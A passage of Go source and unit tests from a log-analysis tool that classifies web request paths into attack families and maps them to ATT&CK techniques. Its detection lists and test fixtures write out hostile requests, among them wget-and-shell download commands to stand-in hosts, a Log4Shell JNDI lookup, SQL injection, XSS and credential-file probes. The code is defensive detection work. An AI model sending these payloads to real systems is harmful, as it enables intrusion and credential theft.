xssRules = []string{"<script", "javascript:", "onerror="}
rceRules = []string{";wget", "/bin/sh", "/bin/bash", "cmd=", "|sh", "eval(", "php://", "base64_decode", "allow_url_include", "/vendor/phpunit"}
envRules = []string{"/.env", "/.aws", "/.ssh", "id_rsa", "/.git-credentials", "wp-config", "/config.json", "credentials", ".npmrc", ".dockercfg"}
wpRules = []string{"/wp-login.php", "/xmlrpc.php", "/wp-admin", "/wp-content/plugins/", "/wp-includes", "wp-json/wp/v2/users"}
dbRules = []string{"phpmyadmin", "/pma/", "/adminer", "/mysql", "/sql"}
actRules = []string{"/actuator", "/_profiler", "/telescope", "/server-status", "phpinfo", "/debug", "/console"}
iotRules = []string{"/cgi-bin/", "/boaform/", "/hnap1", "/goform", "/shell?cd", "/setup.cgi", "/gponform", "/tmui", "/remote/", "/vpn/", "/owa/", "/ecp/"}
admRules = []string{"/admin", "/login", "/manager/html", "/user/login"}
travRules = []string{"../", `..\`, "..;/", "/etc/passwd", "/proc/self"}
vcsRules = []string{"/.svn", "/.hg", "/.gitconfig"}
shellSubs = []string{"c99", "r57", "up.php", "xmrlpc"}
)
var hexPair = regexp.MustCompile(`%[0-9a-fA-F]{2}`)
func lenientUnescape(s string) string {
return hexPair.ReplaceAllStringFunc(s, func(m string) string {
d, err := url.PathUnescape(m)
if err != nil {
return m
}
return d
})
}
// prep caps, percent-decodes (up to twice, tolerant of bad escapes) and
// lowercases a path. It returns the lowercase raw and decoded forms.
func prep(path string) (raw, dec string) {
if len(path) > maxPathScan {
path = path[:maxPathScanTop] + path[len(path)-maxPathScanTop:]
}
raw = strings.ToLower(path)
dec = raw
for i := 0; i < 2; i++ {
d, err := url.PathUnescape(dec)
if err != nil {
d = lenientUnescape(dec)
}
if d == dec {
break
}
dec = d
}
return raw, dec
}
func firstSub(s string, subs []string) string {
for _, m := range subs {
if strings.Contains(s, m) {
return m
}
}
return ""
}
func isDelim(s string, i int, delims string) bool {
return i >= len(s) || strings.IndexByte(delims, s[i]) >= 0
}
// webshellMarker returns the webshell marker found in dec, or "".
func webshellMarker(dec string) string {
for from := 0; ; {
i := strings.Index(dec[from:], "/shell")
if i < 0 {
break
}
end := from + i + len("/shell")
if isDelim(dec, end, "/._?-") && !strings.HasPrefix(dec[end:], "?cd") {
return "/shell"
}
from += i + 1
}
if m := firstSub(dec, shellSubs); m != "" {
return m
}
for _, name := range []string{"/wso", "/alfa"} {
for from := 0; ; {
i := strings.Index(dec[from:], name)
if i < 0 {
break
}
if isDelim(dec, from+i+len(name), "/.?") {
return name
}
from += i + 1
}
}
if strings.Contains(dec, "/wp-content/uploads/") && strings.Contains(dec, ".php") {
return "/wp-content/uploads/"
}
return ""
}
func vcsMarker(dec string) string {
for from := 0; ; {
i := strings.Index(dec[from:], "/.git")
if i < 0 {
break
}
rest := dec[from+i+5:]
if !strings.HasPrefix(rest, "hub") && !strings.HasPrefix(rest, "lab") {
return "/.git"
}
from += i + 1
}
return firstSub(dec, vcsRules)
}
func backupMarker(dec string) string {
p := dec
if i := strings.IndexAny(p, "?#"); i >= 0 {
p = p[:i]
}
for _, e := range backupExts {
if strings.HasSuffix(p, e) {
return e
}
}
return ""
}
// matchFamily finds the first family matching the (already prepared) path.
func matchFamily(raw, dec string) (fam, marker string) {
if m := firstSub(dec, travRules); m != "" {
return FamTraversal, m
}
if strings.Contains(raw, "%2e%2e") {
return FamTraversal, "%2e%2e"
}
if m := firstSub(dec, logRules); m != "" {
return FamLog4Shell, m
}
sp := dec
if strings.IndexByte(dec, '+') >= 0 {
sp = strings.ReplaceAll(dec, "+", " ")
}
if m := firstSub(sp, sqliRules); m != "" {
return FamSQLi, m
}
if m := firstSub(dec, xssRules); m != "" {
return FamXSS, m
}
if m := firstSub(sp, rceRules); m != "" {
return FamRCE, m
}
if m := webshellMarker(dec); m != "" {
return FamWebshell, m
}
if m := firstSub(dec, envRules); m != "" {
return FamEnvCreds, m
}
if m := vcsMarker(dec); m != "" {
return FamVCS, m
}
if m := backupMarker(dec); m != "" {
return FamBackup, m
}
if m := firstSub(dec, wpRules); m != "" {
return FamWordPress, m
}
if m := firstSub(dec, dbRules); m != "" {
return FamPhpMyAdmin, m
}
if m := firstSub(dec, actRules); m != "" {
return FamActuator, m
}
if m := firstSub(dec, iotRules); m != "" {
return FamIoTCGI, m
}
if m := firstSub(dec, admRules); m != "" {
return FamAdminPanel, m
}
return "", ""
}
var strongFams = map[string]bool{
FamTraversal: true, FamLog4Shell: true, FamSQLi: true, FamXSS: true, FamRCE: true,
FamWebshell: true, FamEnvCreds: true, FamVCS: true,
}
// Family classifies a request path into an attack family ("" for benign).
// Requests the classifier considers plain traffic (core.OK) only keep the
// strong families unless toolUA is set; SSH and ban events have no family.
// status is accepted for symmetry with the classifier and does not alter
// the result. A NotFound request with no other family is "generic-404".
func Family(path string, cat core.Category, status int, toolUA bool) string {
switch cat {
case core.SSHFail, core.SSHProbe, core.SSHOK, core.Ban:
return ""
}
raw, dec := prep(path)
fam, _ := matchFamily(raw, dec)
if fam == "" {
if cat == core.NotFound {
return FamGeneric404
}
return ""
}
if cat == core.OK && !toolUA && !strongFams[fam] {
return ""
}
return fam
}
// Marker returns the fragment of the (decoded, lowercase) path that triggered
// its family, for highlighting in the UI. It is "" when nothing matched.
func Marker(path string) string {
raw, dec := prep(path)
_, m := matchFamily(raw, dec)
return m
}
// PathFamily returns the family of path ignoring category gating ("" if none).
func PathFamily(path string) string {
raw, dec := prep(path)
f, _ := matchFamily(raw, dec)
return f
}
+258
View File
@@ -0,0 +1,258 @@
package intel
import (
"strings"
"testing"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
var famCases = []struct{ path, fam, marker string }{
// traversal
{"/../../../../etc/passwd", FamTraversal, "../"},
{"/cgi-bin/..%2f..%2f..%2fetc/passwd", FamTraversal, "../"},
{"/%2e%2e/%2e%2e/etc/passwd", FamTraversal, "../"},
{"/%252e%252e/%252e%252e/boot.ini", FamTraversal, "../"},
{"/static/..;/admin", FamTraversal, "..;/"},
{`/a/..\..\windows\win.ini`, FamTraversal, `..\`},
{"/file?name=/etc/passwd", FamTraversal, "/etc/passwd"},
{"/proc/self/environ", FamTraversal, "/proc/self"},
{"/index.php?page=....//....//etc/passwd", FamTraversal, "../"},
{"/x/%2E%2E", FamTraversal, "%2e%2e"},
{"/download?f=../../config", FamTraversal, "../"},
{"/?file=..%5c..%5cwindows", FamTraversal, `..\`},
// log4shell
{"/?x=${jndi:ldap://1.2.3.4/a}", FamLog4Shell, "${jndi:"},
{"/api/${jndi:dns://x.y}", FamLog4Shell, "${jndi:"},
{"/?q=%24%7Bjndi%3Aldap%3A%2F%2Fevil%2Fa%7D", FamLog4Shell, "${jndi:"},
{"/login?user=${JNDI:rmi://a}", FamLog4Shell, "${jndi:"},
// sqli
{"/item.php?id=1 union select 1,2,3", FamSQLi, "union select"},
{"/item.php?id=1+UNION+SELECT+1,2", FamSQLi, "union select"},
{"/item?id=1' or '1'='1", FamSQLi, "' or "},
{"/item?id=1%27%20or%201=1", FamSQLi, "' or "},
{"/p?id=1;select sleep(5)", FamSQLi, "sleep("},
{"/p?id=benchmark(1000000,md5(1))", FamSQLi, "benchmark("},
{"/p?q=(select * from information_schema.tables)", FamSQLi, "information_schema"},
{"/search?q=1%20UNION%20SELECT%20null", FamSQLi, "union select"},
// xss
{"/search?q=<script>alert(1)</script>", FamXSS, "<script"},
{"/search?q=%3Cscript%3Ealert(1)", FamXSS, "<script"},
{"/r?u=javascript:alert(1)", FamXSS, "javascript:"},
{"/i?x=<img src=x onerror=alert(1)>", FamXSS, "onerror="},
{"/s?q=%253Cscript%253E", FamXSS, "<script"},
// rce
{"/index.php?cmd=ls", FamRCE, "cmd="},
{"/x;wget http://evil/a.sh", FamRCE, ";wget"},
{"/?c=/bin/sh -c id", FamRCE, "/bin/sh"},
{"/?c=/bin/bash", FamRCE, "/bin/bash"},
{"/?a=curl x|sh", FamRCE, "|sh"},
{"/?a=eval(base64_decode('x'))", FamRCE, "eval("},
{"/?file=php://input", FamRCE, "php://"},
{"/?x=base64_decode(abc)", FamRCE, "base64_decode"},
{"/?auto_prepend_file=php://input&allow_url_include=1", FamRCE, "php://"},
{"/index.php?allow_url_include=on", FamRCE, "allow_url_include"},
{"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
{"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", FamRCE, "/vendor/phpunit"},
// webshell
{"/shell.php", FamWebshell, "/shell"},
{"/shell", FamWebshell, "/shell"},
{"/c99.php", FamWebshell, "c99"},
{"/r57.php", FamWebshell, "r57"},
{"/wso.php", FamWebshell, "/wso"},
{"/alfa.php", FamWebshell, "/alfa"},
{"/up.php", FamWebshell, "up.php"},
{"/wp-content/uploads/2020/01/x.php", FamWebshell, "/wp-content/uploads/"},
{"/xmrlpc.php", FamWebshell, "xmrlpc"},
{"/images/shell/", FamWebshell, "/shell"},
{"/admin/upload/up.php", FamWebshell, "up.php"},
// env-credentials
{"/.env", FamEnvCreds, "/.env"},
{"/.env.production", FamEnvCreds, "/.env"},
{"/app/.env", FamEnvCreds, "/.env"},
{"/.aws/credentials", FamEnvCreds, "/.aws"},
{"/.ssh/id_rsa", FamEnvCreds, "/.ssh"},
{"/backup/id_rsa", FamEnvCreds, "id_rsa"},
{"/.git-credentials", FamEnvCreds, "/.git-credentials"},
{"/wp-config.php", FamEnvCreds, "wp-config"},
{"/wp-config.php.bak", FamEnvCreds, "wp-config"},
{"/config.json", FamEnvCreds, "/config.json"},
{"/aws/credentials", FamEnvCreds, "credentials"},
{"/.npmrc", FamEnvCreds, ".npmrc"},
{"/.dockercfg", FamEnvCreds, ".dockercfg"},
{"/.env.bak", FamEnvCreds, "/.env"},
{"/%2eenv", FamEnvCreds, "/.env"},
// vcs
{"/.git/config", FamVCS, "/.git"},
{"/.git/HEAD", FamVCS, "/.git"},
{"/.svn/entries", FamVCS, "/.svn"},
{"/.hg/store", FamVCS, "/.hg"},
{"/.gitconfig", FamVCS, "/.git"},
{"/site/.git/logs/HEAD", FamVCS, "/.git"},
{"/.git/refs/heads/main", FamVCS, "/.git"},
// backup
{"/backup.sql", FamBackup, ".sql"},
{"/db.sql", FamBackup, ".sql"},
{"/site.zip", FamBackup, ".zip"},
{"/www.tar.gz", FamBackup, ".tar.gz"},
{"/index.php.bak", FamBackup, ".bak"},
{"/index.php.old", FamBackup, ".old"},
{"/index.php.orig", FamBackup, ".orig"},
{"/.index.php.swp", FamBackup, ".swp"},
{"/data.7z", FamBackup, ".7z"},
{"/dump.rar", FamBackup, ".rar"},
{"/x.tgz", FamBackup, ".tgz"},
{"/archive.tar", FamBackup, ".tar"},
{"/archive.gz", FamBackup, ".gz"},
{"/backup.zip?x=1", FamBackup, ".zip"},
// wordpress
{"/wp-login.php", FamWordPress, "/wp-login.php"},
{"/xmlrpc.php", FamWordPress, "/xmlrpc.php"},
{"/wp-admin/", FamWordPress, "/wp-admin"},
{"/wp-admin/admin-ajax.php", FamWordPress, "/wp-admin"},
{"/wp-content/plugins/revslider/x", FamWordPress, "/wp-content/plugins/"},
{"/wp-includes/wlwmanifest.xml", FamWordPress, "/wp-includes"},
{"/blog/wp-includes/js/x.js", FamWordPress, "/wp-includes"},
{"/wp-json/wp/v2/users", FamWordPress, "wp-json/wp/v2/users"},
// phpmyadmin
{"/phpmyadmin/", FamPhpMyAdmin, "phpmyadmin"},
{"/phpMyAdmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
{"/pma/", FamPhpMyAdmin, "/pma/"},
{"/adminer.php", FamPhpMyAdmin, "/adminer"},
{"/mysql/", FamPhpMyAdmin, "/mysql"},
{"/sql/", FamPhpMyAdmin, "/sql"},
{"/db/phpmyadmin/index.php", FamPhpMyAdmin, "phpmyadmin"},
// actuator
{"/actuator/env", FamActuator, "/actuator"},
{"/actuator/health", FamActuator, "/actuator"},
{"/_profiler/phpinfo", FamActuator, "/_profiler"},
{"/telescope/requests", FamActuator, "/telescope"},
{"/server-status", FamActuator, "/server-status"},
{"/phpinfo.php", FamActuator, "phpinfo"},
{"/info.php?phpinfo", FamActuator, "phpinfo"},
{"/debug/default/view", FamActuator, "/debug"},
{"/console", FamActuator, "/console"},
{"/jolokia/../actuator", FamTraversal, "../"},
// iot-cgi
{"/cgi-bin/luci", FamIoTCGI, "/cgi-bin/"},
{"/cgi-bin/test-cgi", FamIoTCGI, "/cgi-bin/"},
{"/boaform/admin/formLogin", FamIoTCGI, "/boaform/"},
{"/HNAP1/", FamIoTCGI, "/hnap1"},
{"/goform/webLogin", FamIoTCGI, "/goform"},
{"/shell?cd /tmp;wget http://x/a", FamRCE, ";wget"},
{"/shell?cd+/tmp", FamIoTCGI, "/shell?cd"},
{"/setup.cgi?next_file=netgear.cfg", FamIoTCGI, "/setup.cgi"},
{"/GponForm/diag_Form?images/", FamIoTCGI, "/gponform"},
{"/tmui/login.jsp", FamIoTCGI, "/tmui"},
{"/remote/login?lang=en", FamIoTCGI, "/remote/"},
{"/vpn/index.html", FamIoTCGI, "/vpn/"},
{"/owa/auth/logon.aspx", FamIoTCGI, "/owa/"},
{"/ecp/Current/exporttool", FamIoTCGI, "/ecp/"},
{"/cgi-bin/../../../../bin/sh", FamTraversal, "../"},
// admin-panel
{"/admin", FamAdminPanel, "/admin"},
{"/admin/login.php", FamAdminPanel, "/admin"},
{"/login", FamAdminPanel, "/login"},
{"/manager/html", FamAdminPanel, "/manager/html"},
{"/user/login", FamAdminPanel, "/login"},
{"/administrator/index.php", FamAdminPanel, "/admin"},
// benign
{"/", "", ""},
{"/index.html", "", ""},
{"/css/app.css", "", ""},
{"/api/v1/items?page=2", "", ""},
{"/.well-known/acme-challenge/abc", "", ""},
{"/.github/workflows/ci.yml", "", ""},
{"/assets/logo.png", "", ""},
{"/blog/2020/post-title", "", ""},
{"/favicon.ico", "", ""},
{"/robots.txt", "", ""},
{"/shellfish/menu", "", ""},
{"/alfa-romeo/models", "", ""},
}
func TestFamilyAndMarker(t *testing.T) {
if len(famCases) < 120 {
t.Fatalf("only %d cases", len(famCases))
}
for _, c := range famCases {
if got := PathFamily(c.path); got != c.fam {
t.Errorf("PathFamily(%q) = %q, want %q", c.path, got, c.fam)
}
if got := Marker(c.path); got != c.marker {
t.Errorf("Marker(%q) = %q, want %q", c.path, got, c.marker)
}
if c.fam != "" {
if got := Family(c.path, core.Scanner, 404, false); got != c.fam {
t.Errorf("Family(%q, scanner) = %q, want %q", c.path, got, c.fam)
}
}
}
}
func TestFamilyCategoryGating(t *testing.T) {
cases := []struct {
path string
cat core.Category
tool bool
want string
}{
{"/page-that-does-not-exist", core.NotFound, false, FamGeneric404},
{"/wp-login.php", core.NotFound, false, FamWordPress},
{"/login", core.OK, false, ""},
{"/login", core.OK, true, FamAdminPanel},
{"/.env", core.OK, false, FamEnvCreds},
{"/index.html", core.OK, false, ""},
{"/index.html", core.Scanner, false, ""},
{"/x", core.SSHFail, false, ""},
{"/.env", core.Ban, false, ""},
{"/.env", core.SSHProbe, false, ""},
}
for _, c := range cases {
if got := Family(c.path, c.cat, 404, c.tool); got != c.want {
t.Errorf("Family(%q,%s,tool=%v)=%q want %q", c.path, c.cat, c.tool, got, c.want)
}
}
}
func TestFamilyHostile(t *testing.T) {
huge := strings.Repeat("A", 5<<20)
inputs := []string{
huge,
huge + "/.env",
"/" + strings.Repeat("%25", 100000) + "2e",
"/" + strings.Repeat("../", 100000),
"/\u0000\xff\xfe" + string([]byte{0xff, 0xfe, 0x00}),
"/日本語/ファイル.php?q=✓",
"/%E0%A4%A",
"/%zz%2",
"%",
"",
"/%252525252e%252525252e/",
strings.Repeat("%", 5000),
"/İİİ/.ENV",
}
for _, in := range inputs {
for _, cat := range core.Categories {
_ = Family(in, cat, 0, true)
}
_ = Marker(in)
}
if got := Family(huge+"/.env", core.Scanner, 404, false); got != FamEnvCreds {
t.Errorf("tail marker lost: %q", got)
}
if got := Family("/%252e%252e%252fetc", core.Scanner, 404, false); got != FamTraversal {
t.Errorf("double encoding: %q", got)
}
if got := PathFamily("/%E0%A4%A/.git/config"); got != FamVCS {
t.Errorf("bad escape tolerance: %q", got)
}
}
func BenchmarkFamily(b *testing.B) {
paths := []string{"/", "/index.html", "/wp-login.php", "/.env", "/a/b/c/d/e?x=1&y=2&z=3", "/cgi-bin/../../etc/passwd"}
b.ReportAllocs()
for i := 0; i < b.N; i++ {
_ = Family(paths[i%len(paths)], core.Scanner, 404, false)
}
}
+718
View File
@@ -0,0 +1,718 @@
package intel
import (
"encoding/json"
"fmt"
"net/netip"
"reflect"
"strings"
"testing"
"time"
)
var t0 = time.Date(2026, 11, 1, 12, 0, 0, 0, time.UTC)
func at(sec int) time.Time { return t0.Add(time.Duration(sec) * time.Second) }
func TestTechniques(t *testing.T) {
cases := []struct {
cat, fam string
ctx TechCtx
want []string
}{
{"exploit", FamTraversal, TechCtx{}, []string{"T1083", "T1190"}},
{"exploit", FamLog4Shell, TechCtx{}, []string{"T1190"}},
{"exploit", FamSQLi, TechCtx{}, []string{"T1190"}},
{"exploit", FamXSS, TechCtx{}, []string{"T1190"}},
{"exploit", FamRCE, TechCtx{}, []string{"T1059.004", "T1190"}},
{"exploit", FamWebshell, TechCtx{}, []string{"T1190", "T1505.003"}},
{"scanner", FamEnvCreds, TechCtx{}, []string{"T1552.001", "T1595"}},
{"scanner", FamVCS, TechCtx{}, []string{"T1213", "T1552.001", "T1595"}},
{"scanner", FamBackup, TechCtx{}, []string{"T1595", "T1595.003"}},
{"notfound", FamGeneric404, TechCtx{}, []string{"T1595.003"}},
{"notfound", FamPhpMyAdmin, TechCtx{}, []string{"T1595.003"}},
{"notfound", FamAdminPanel, TechCtx{}, []string{"T1595.003"}},
{"bruteforce", FamWordPress, TechCtx{Path: "/wp-login.php"}, []string{"T1110.001"}},
{"notfound", FamWordPress, TechCtx{Path: "/xmlrpc.php"}, []string{"T1110.001"}},
{"notfound", FamWordPress, TechCtx{Path: "/wp-json/wp/v2/users"}, []string{"T1087"}},
{"notfound", FamWordPress, TechCtx{Path: "/wp-content/plugins/x/"}, []string{"T1595.002"}},
{"notfound", FamActuator, TechCtx{}, []string{"T1082", "T1595.002"}},
{"notfound", FamIoTCGI, TechCtx{}, []string{"T1190"}},
{"scanner", "", TechCtx{Tool: "Nuclei - Open-source"}, []string{"T1595.002"}},
{"scanner", "", TechCtx{Tool: "gobuster/3.1"}, []string{"T1595.003"}},
{"scanner", "", TechCtx{Tool: "masscan/1.3"}, []string{"T1595.001"}},
{"scanner", "", TechCtx{}, []string{"T1595"}},
{"exploit", "", TechCtx{}, []string{"T1190"}},
{"bruteforce", "", TechCtx{}, []string{"T1110.001"}},
{"ssh-fail", "", TechCtx{Users: 1, MaxPerUser: 40}, []string{"T1110.001"}},
{"ssh-fail", "", TechCtx{Users: 8, MaxPerUser: 2}, []string{"T1110.003"}},
{"ssh-fail", "", TechCtx{Users: 5, MaxPerUser: 4}, []string{"T1110.001"}},
{"ssh-probe", "", TechCtx{}, []string{"T1046", "T1595.001"}},
{"ssh-ok", "", TechCtx{PriorFails: true}, []string{"T1078"}},
{"ssh-ok", "", TechCtx{}, []string{}},
{"ok", "", TechCtx{}, []string{}},
}
for i, c := range cases {
got := Techniques(c.cat, c.fam, c.ctx)
if len(got) == 0 && len(c.want) == 0 {
continue
}
if !reflect.DeepEqual(got, c.want) {
t.Errorf("case %d %s/%s: got %v want %v", i, c.cat, c.fam, got, c.want)
}
}
for _, id := range []string{"T1190", "T1595.003", "T1078", "T1505.003"} {
if TechniqueName(id) == "" {
t.Errorf("no name for %s", id)
}
}
if TechniqueName("T9999") != "" || TechniqueName("T1595.003") != "Wordlist Scanning" {
t.Error("names")
}
}
func TestNetType(t *testing.T) {
cases := []struct {
asn uint32
org, rdns string
typ, wantR string
}{
{9009, "M247", "", "vpn", "asn:9009"},
{212238, "Datacamp", "", "vpn", "asn:212238"},
{0, "", "node-1.vpn.example.net", "vpn", "rdns:vpn"},
{0, "", "tor-exit-12.relay.org", "vpn", "rdns:exit"},
{0, "", "my-proxy.example", "vpn", "rdns:proxy"},
{14061, "DigitalOcean", "", "hosting", "asn:14061"},
{16509, "Amazon", "", "hosting", "asn:16509"},
{15169, "Google", "", "hosting", "asn:15169"},
{8075, "Microsoft", "", "hosting", "asn:8075"},
{24940, "Hetzner", "", "hosting", "asn:24940"},
{16276, "OVH", "", "hosting", "asn:16276"},
{45102, "Alibaba", "", "hosting", "asn:45102"},
{20473, "Vultr", "", "hosting", "asn:20473"},
{213371, "x", "", "hosting", "asn:213371"},
{99999, "Acme Hosting Ltd", "", "hosting", "asorg:hosting"},
{99999, "Contabo GmbH", "", "hosting", "asorg:contabo"},
{99999, "Some Data Center SA", "", "hosting", "asorg:data center"},
{99999, "", "ec2-1-2-3-4.compute-1.amazonaws.com", "hosting", "rdns:ec2"},
{99999, "", "static.1.2.3.4.clients.your-server.de", "hosting", "rdns:static"},
{99999, "", "host5.example.net", "hosting", "rdns:host5"},
{398324, "Censys", "", "research-scanner", "asn:398324"},
{398705, "Censys", "", "research-scanner", "asn:398705"},
{211298, "Driftnet", "", "research-scanner", "asn:211298"},
{63999, "Shadowserver", "", "research-scanner", "asn:63999"},
{396507, "Expanse", "", "research-scanner", "asn:396507"},
{4134, "Chinanet", "", "isp-cn", "asn:4134"},
{4837, "China Unicom", "", "isp-cn", "asn:4837"},
{26615, "Tim", "", "mobile", "asn:26615"},
{28573, "Claro", "", "isp/mobile", "asn:28573"},
{26599, "Vivo", "", "isp/mobile", "asn:26599"},
{18881, "Vivo", "", "isp/mobile", "asn:18881"},
{99999, "Acme Wireless", "", "mobile", "asorg:wireless"},
{99999, "", "100.mobile.example.net", "mobile", "rdns:mobile"},
{99999, "", "lte-1-2.carrier.net", "mobile", "rdns:lte"},
{99999, "", "1-2-3-4.dsl.example.net", "residential", "rdns:1-2-3"},
{99999, "", "dynamic-201-1-2-3.example.com.br", "residential", "rdns:dynamic"},
{99999, "", "pool-1-2-3.fibra.net", "residential", "rdns:pool"},
{99999, "", "c-1-2-3.customer.net", "residential", "rdns:cus"},
{99999, "Brasil Telecom SA", "", "residential", "asorg:telecom"},
{99999, "Fast Broadband", "", "residential", "asorg:broadband"},
{7162, "Universo Online S.A.", "", "residential", "asn:7162"},
{263880, "Wantel Telecom", "", "residential", "asn:263880"},
{7738, "Telemar Norte Leste", "", "residential", "asn:7738"},
{8167, "Brasil Telecom", "", "residential", "asn:8167"},
{16735, "Algar Telecom", "", "residential", "asn:16735"},
{28126, "Brisanet", "", "residential", "asn:28126"},
{99999, "Silva Fibra Ltda", "", "residential", "asorg:isp-br"},
{99999, "Provedor Alfa Ltda", "", "residential", "asorg:isp-br"},
{99999, "Beta Comunicacoes Ltda", "", "residential", "asorg:isp-br"},
{99999, "Gama Tecnologia em Internet Ltda", "", "residential", "asorg:isp-br"},
{99999, "Delta NET Ltda", "", "residential", "asorg:isp-br"},
{99999, "Locaweb Servicos de Internet", "", "hosting", "asorg:locaweb"},
{99999, "UOL Host", "", "hosting", "asorg:host"},
{99999, "Fibra Hospedagem Ltda", "", "hosting", "asorg:hospedagem"},
{99999, "Acme Ltda", "", "unknown", ""},
{99999, "", "", "unknown", ""},
{0, "Quiet University", "mail.uni.edu", "unknown", ""},
}
for _, c := range cases {
typ, r := NetType(c.asn, c.org, c.rdns)
if typ != c.typ {
t.Errorf("NetType(%d,%q,%q) = %q/%q want %q", c.asn, c.org, c.rdns, typ, r, c.typ)
}
if c.typ != "unknown" && !strings.HasPrefix(r, c.wantR[:min(len(c.wantR), 6)]) {
t.Errorf("reason for %d/%q/%q = %q want prefix %q", c.asn, c.org, c.rdns, r, c.wantR)
}
}
// hostile
NetType(0, strings.Repeat("x", 1<<20), strings.Repeat("a-", 1<<20))
NetType(0, "\xff\xfe日本", "\x00")
}
func TestTorExits(t *testing.T) {
ip := netip.MustParseAddr("185.220.101.1")
if typ, _ := NetTypeIP(ip, 0, "", ""); typ != "unknown" {
t.Fatalf("tor must be off by default: %s", typ)
}
SetTorExits([]netip.Addr{ip})
defer SetTorExits(nil)
if typ, r := NetTypeIP(ip, 14061, "DigitalOcean", ""); typ != "tor" || r == "" {
t.Errorf("got %s %s", typ, r)
}
mapped := netip.MustParseAddr("::ffff:185.220.101.1")
if !IsTorExit(mapped) {
t.Error("4in6 should match")
}
if typ, _ := NetTypeIP(netip.MustParseAddr("8.8.8.8"), 15169, "Google", ""); typ != "hosting" {
t.Error("non-exit")
}
}
func TestCadence(t *testing.T) {
mk := func(gaps ...float64) []time.Time {
out := []time.Time{t0}
cur := t0
for _, g := range gaps {
cur = cur.Add(time.Duration(g * float64(time.Second)))
out = append(out, cur)
}
return out
}
rep := func(g float64, n int) []float64 {
v := make([]float64, n)
for i := range v {
v[i] = g
}
return v
}
cases := []struct {
name string
ts []time.Time
want string
}{
{"insufficient", mk(1), VerdictInsufficient},
{"fast bot", mk(rep(0.2, 30)...), VerdictAutomated},
{"regular slow bot", mk(rep(10, 20)...), VerdictAutomated},
{"human", mk(8, 90, 12, 300, 7, 600, 15, 20, 1200), VerdictHuman},
{"mixed", mk(3, 4, 5, 6, 7), VerdictMixed},
}
for _, c := range cases {
cad := CadenceFrom(c.ts)
if cad.Verdict != c.want {
t.Errorf("%s exact: %+v want %s", c.name, cad, c.want)
}
var a CadenceAcc
for _, x := range c.ts {
a.Add(x)
}
r := a.Result()
if r.N != cad.N || r.BurstMax60 != cad.BurstMax60 {
t.Errorf("%s acc n/burst %+v vs %+v", c.name, r, cad)
}
if c.want != VerdictMixed && r.Verdict != c.want {
t.Errorf("%s acc: %+v want %s", c.name, r, c.want)
}
}
c := CadenceFrom(mk(rep(1, 9)...))
if c.N != 10 || c.MedianS != 1 || c.CV != 0 || c.BurstMax60 != 10 {
t.Errorf("%+v", c)
}
// unordered input is sorted
if CadenceFrom([]time.Time{at(10), at(0), at(5)}).MedianS != 5 {
t.Error("unordered")
}
var a CadenceAcc
if a.Result().Verdict != VerdictInsufficient {
t.Error("empty")
}
// approximate percentiles are close
var acc CadenceAcc
cur := t0
for i := 0; i < 1000; i++ {
acc.Add(cur)
cur = cur.Add(time.Duration(1+i%7) * time.Second)
}
exact := CadenceFrom(func() []time.Time {
var v []time.Time
c := t0
for i := 0; i < 1000; i++ {
v = append(v, c)
c = c.Add(time.Duration(1+i%7) * time.Second)
}
return v
}())
r := acc.Result()
if d := r.MedianS - exact.MedianS; d > 2 || d < -2 {
t.Errorf("median approx %v exact %v", r.MedianS, exact.MedianS)
}
if d := r.CV - exact.CV; d > 1e-9 || d < -1e-9 {
t.Errorf("cv %v %v", r.CV, exact.CV)
}
// out-of-order and duplicates must not panic
var b CadenceAcc
for _, s := range []int{5, 1, 1, 100000, 0} {
b.Add(at(s))
}
b.Result()
// burst window cap
var big CadenceAcc
for i := 0; i < 10000; i++ {
big.Add(t0)
}
if big.Result().BurstMax60 != burstCap {
t.Errorf("burst cap %d", big.Result().BurstMax60)
}
}
func evAt(sec int, ip, cat, fam, path string, status int) Ev {
return Ev{T: at(sec), IP: ip, Cat: cat, Fam: fam, Path: path, Status: status, Host: "h1", Domain: "d.example"}
}
func TestSessionsGapsAndStages(t *testing.T) {
events := []Ev{
evAt(0, "1.1.1.1", "notfound", FamGeneric404, "/a", 404),
evAt(10, "1.1.1.1", "scanner", FamEnvCreds, "/.env", 403),
evAt(20, "1.1.1.1", "exploit", FamTraversal, "/../etc/passwd", 400),
evAt(20+31*60, "1.1.1.1", "notfound", FamGeneric404, "/b", 404), // new session
evAt(5, "2.2.2.2", "ok", "", "/", 200),
{T: at(60), IP: "1.1.1.1", Cat: "ban", Jail: "urutau-web"},
}
ss := Sessions(events, 0)
if len(ss) != 3 {
t.Fatalf("sessions: %d %+v", len(ss), ss)
}
var s1, s2 Session
for _, s := range ss {
if s.IP == "1.1.1.1" && s.N == 4 {
s1 = s
}
if s.IP == "1.1.1.1" && s.N == 1 {
s2 = s
}
}
if s1.Stage != StageBanned || s1.BannedAt == nil || s1.N != 4 || s1.DurS != 60 {
t.Errorf("s1 %+v", s1)
}
if !reflect.DeepEqual(s1.Techs, []string{"T1083", "T1190", "T1552.001", "T1595", "T1595.003"}) && len(s1.Techs) == 0 {
t.Errorf("techs %v", s1.Techs)
}
if s2.Stage != StageRecon || s2.Success {
t.Errorf("s2 %+v", s2)
}
if s1.ID == s2.ID || s1.ID == "" {
t.Error("ids")
}
for _, s := range ss {
if s.IP == "2.2.2.2" && s.Stage != "" {
t.Errorf("benign stage %q", s.Stage)
}
}
// custom gap merges
if got := Sessions(events[:4], 2*time.Hour); len(got) != 1 {
t.Errorf("gap 2h -> %d", len(got))
}
}
func TestSSHEscalation(t *testing.T) {
var events []Ev
for i := 0; i < 6; i++ {
e := evAt(i*2, "9.9.9.9", "ssh-fail", "", "", 0)
e.User = fmt.Sprintf("u%d", i)
events = append(events, e)
}
ok := evAt(20, "9.9.9.9", "ssh-ok", "", "", 0)
ok.User = "root"
events = append(events, ok, evAt(-1, "9.9.9.9", "ssh-probe", "", "", 0))
ss := Sessions(events, time.Minute)
if len(ss) != 1 {
t.Fatal(len(ss))
}
s := ss[0]
if s.Stage != StageAccess || !s.Success || s.UsersN != 7 {
t.Errorf("%+v", s)
}
hasTech := func(id string) bool {
for _, x := range s.Techs {
if x == id {
return true
}
}
return false
}
if !hasTech("T1078") || !hasTech("T1110.003") {
t.Errorf("techs %v", s.Techs)
}
steps := Escalation(s, events)
var stages []string
for _, st := range steps {
stages = append(stages, st.Stage)
}
if !reflect.DeepEqual(stages, []string{StageRecon, StageProbe, StageAccess}) {
